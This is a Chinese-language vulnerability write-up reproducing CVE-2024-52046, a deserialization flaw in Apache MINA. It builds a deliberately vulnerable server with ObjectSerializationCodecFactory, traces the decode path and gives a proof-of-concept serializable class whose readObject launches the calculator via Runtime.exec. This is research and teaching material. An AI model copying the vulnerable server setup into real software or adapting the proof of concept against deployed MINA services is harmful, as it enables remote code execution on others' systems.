前言
最近披露了一个新的apache下属产品mina的CVE-2024-52046反序列化漏洞,首先查看cve官网公开的部分漏洞信息
https://www.cve.org/CVERecord?id=CVE-2024-52046
感觉有点乱,像这种apache产品的漏洞一般在apache邮件列表归档网站中也会有信息,下滑果然在references中找到了参考链接,查看原来的提交信息
https://lists.apache.org/thread/4wxktgjpggdbto15d515wdctohb0qmv8
这句就是这个反序列化的核心,翻译过来的大概意思是:
需要注意的是,使用 MINA 核心库的应用程序只有在调用 IoBuffer#getObject() 方法时才会受到影响,而这个特定方法在使用ObjectSerializationCodecFactory 类将实例添加到过滤器链时可能会被调用。如果您的应用程序特别使用这些类,则必须升级到最新版本的 MINA 核心库。
了解Apache mina
获取这个漏洞的基础信息后,需要了解一些Apache Mina的基础知识,这样才能简单的在本地搭建漏洞环境来复现漏洞并深入研究漏洞的代码成因。Apache Mina是一个能够帮助用户开发高性能和高伸缩性网络应用程序的框架。它通过Java nio技术基于TCP/IP和UDP/IP协议提供了抽象的、事件驱动的、异步的API。是用来代替NIO网络框架的,对NIO框架进行了一层封装的Socket库。
Mina框架被分成了主要的3个组件部分:
- I/O Service,具体提供服务的组件。
- I/O Filter Chain,过滤器链,用于支持各种切面服务。
- I/O Handler,用于处理用户的业务逻辑。
在 Apache MINA 的 I/O 过滤器链中,有多种处理数据的类和过滤器,每种都有其特定的功能和用途。以下是一些常见的处理数据的过滤器和类:
- 编解码器过滤器
- ProtocolCodecFilter:用于添加编解码器,支持将数据编码为字节流或从字节流解码为对象。
- 常用的编解码器包括:
- TextLineCodecFactory:用于处理文本行的编解码。
- ObjectSerializationCodecFactory:用于处理 Java 对象的序列化和反序列化。
- ByteArrayCodecFactory:用于处理字节数组的编解码。
- 日志过滤器
- LoggingFilter:用于记录传入和传出的数据,方便调试和监控。可以配置日志级别和输出格式。
- 异常处理过滤器
- ExceptionFilter:用于处理在数据处理过程中发生的异常,提供统一的异常处理机制。
- 计时器过滤器
- IdleStateFilter:用于检测空闲状态(如读取或写入空闲),可以帮助实现超时机制和连接管理。
- 身份验证过滤器
- SslFilter:用于在传输层提供 SSL/TLS 加密,确保数据的安全性。
- AuthenticationFilter:用于身份验证,可以与其他安全机制结合使用。
- 自定义过滤器
开发者可以自定义过滤器,以满足特定需求。自定义过滤器可以实现任何需要的处理逻辑,如数据转换、验证等。
了解了Apache mina的基础架构之后,我们通过公开的漏洞信息和了解的mina的大概架构,能够猜测到漏洞的位置就存在于架构的编解码器过滤器使用的ObjectSerializationCodecFactory类中,这个类也是mina专门用于处理Java 对象的序列化和反序列化的编解码器。
搭建验证环境
我们编写一个基础的 Apache MINA 实现示例,使用 ObjectSerializationCodecFactory 作为编解码器。
在pom.xml中加入Apache MINA 的 Maven 依赖,符合漏洞版本即可
java"><dependency><groupId>org.apache.mina</groupId><artifactId>mina-core</artifactId><version>2.1.5</version> <!-- 请根据需要选择最新版本 -->
</dependency>
java_53">创建一个java类
java">import java.io.Serializable;public class Message implements Serializable {private static final long serialVersionUID = 1L;private Object content; // 存储任意类型的内容public Message(Object content) {this.content = content;}public Object getContent() {return content;}
}
创建服务器
java">import org.apache.mina.core.session.IoSession;
import org.apache.mina.core.service.IoHandlerAdapter;
import org.apache.mina.filter.codec.ProtocolCodecFilter;
import org.apache.mina.filter.codec.serialization.ObjectSerializationCodecFactory;
import org.apache.mina.transport.socket.nio.NioSocketAcceptor;import java.net.InetSocketAddress;// 创建一个简单的 MINA 服务器
public class MinaServer {public static void main(String[] args) throws Exception {// 创建 NioSocketAcceptor 实例NioSocketAcceptor acceptor = new NioSocketAcceptor();// 添加编解码器过滤器,使用对象序列化编解码acceptor.getFilterChain().addLast("codec", new ProtocolCodecFilter(new ObjectSerializationCodecFactory()));// 设置消息处理器acceptor.setHandler(new ServerHandler());// 绑定服务器到指定端口acceptor.bind(new InetSocketAddress(9123));System.out.println("Server started on port 9123...");}// 处理接收到消息的处理器private static class ServerHandler extends IoHandlerAdapter {@Overridepublic void messageReceived(IoSession session, Object message) {// 检查接收到的消息类型if (message instanceof Message) {Message msg = (Message) message; // 类型转换System.out.println("Received: " + msg.getContent()); // 打印接收到的消息内容}}@Overridepublic void exceptionCaught(IoSession session, Throwable cause) {// 处理异常cause.printStackTrace();session.closeNow(); // 关闭会话}}
}
创建客户端
java">import org.apache.mina.core.future.ConnectFuture;
import org.apache.mina.core.service.IoHandlerAdapter;
import org.apache.mina.core.session.IoSession;
import org.apache.mina.filter.codec.ProtocolCodecFilter;
import org.apache.mina.filter.codec.serialization.ObjectSerializationCodecFactory;
import org.apache.mina.transport.socket.nio.NioSocketConnector;import java.net.InetSocketAddress;// 创建一个简单的 MINA 客户端
public class MinaClient {public static void main(String[] args) {// 创建 NioSocketConnector 实例NioSocketConnector connector = new NioSocketConnector();// 添加编解码器过滤器,使用对象序列化编解码connector.getFilterChain().addLast("codec", new ProtocolCodecFilter(new ObjectSerializationCodecFactory()));// 设置消息处理器connector.setHandler(new ClientHandler());// 连接到服务器ConnectFuture future = connector.connect(new InetSocketAddress("localhost", 9123));future.awaitUninterruptibly(); // 等待连接完成IoSession session = future.getSession(); // 获取会话session.write(new Message("Hello, MINA!")); // 向服务器发送消息// 等待关闭连接session.getCloseFuture().awaitUninterruptibly();connector.dispose(); // 清理连接器}// 处理异常的处理器private static class ClientHandler extends IoHandlerAdapter {@Overridepublic void exceptionCaught(IoSession session, Throwable cause) {// 处理异常cause.printStackTrace();session.closeNow(); // 关闭会话}}
}
先运行服务器代码,再运行客户端,看到服务器端接收到客户端信息成功即环境搭建成功
代码调试
通过前面的了解,我们知道代码漏洞处于ProtocolCodecFilter编解码器里的ObjectSerializationCodecFactory类,而且发生在反序列化解码的阶段,我们在ProtocolCodecFilter.messageReceived打下断点,在decoder.decode(session, in, decoderOut)这部分代码用于可以查看输入缓冲区的内容,确保Message 对象被正确解码
接着调试,ObjectSerializationCodecFactory 创建的具体解码器是 ObjectSerializationDecoder,该类实现了 ProtocolDecoder 接口。它负责将字节流反序列化为 Java 对象。
往下接着进行调试,在AbstractIoBuffer.getObject方法中完成反序列化
漏洞验证
我们创建一个恶意类,放到客户端代码中发送进行测试
java">package ora.mina;import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;public class Calc implements Serializable {private static final long serialVersionUID = 1L; // 建议添加序列化唯一标识// 默认构造器public Calc() {// 可以在这里初始化一些变量}// 实际要执行的方法public String execute() {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();System.out.println("启动计算器失败: " + e.getMessage());}return "计算器启动成功";}// 重写 readObject 方法private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {// 反序列化后调用 execute 方法execute();}
}
调试MinaServer并运行MinaClient,在运行到return in.readObject()后反序列化出咱们发送的calc类,执行了计算器命令
修复
查看2.1.10的更新,相比于之前,在漏洞产生的过程中加入了类的验证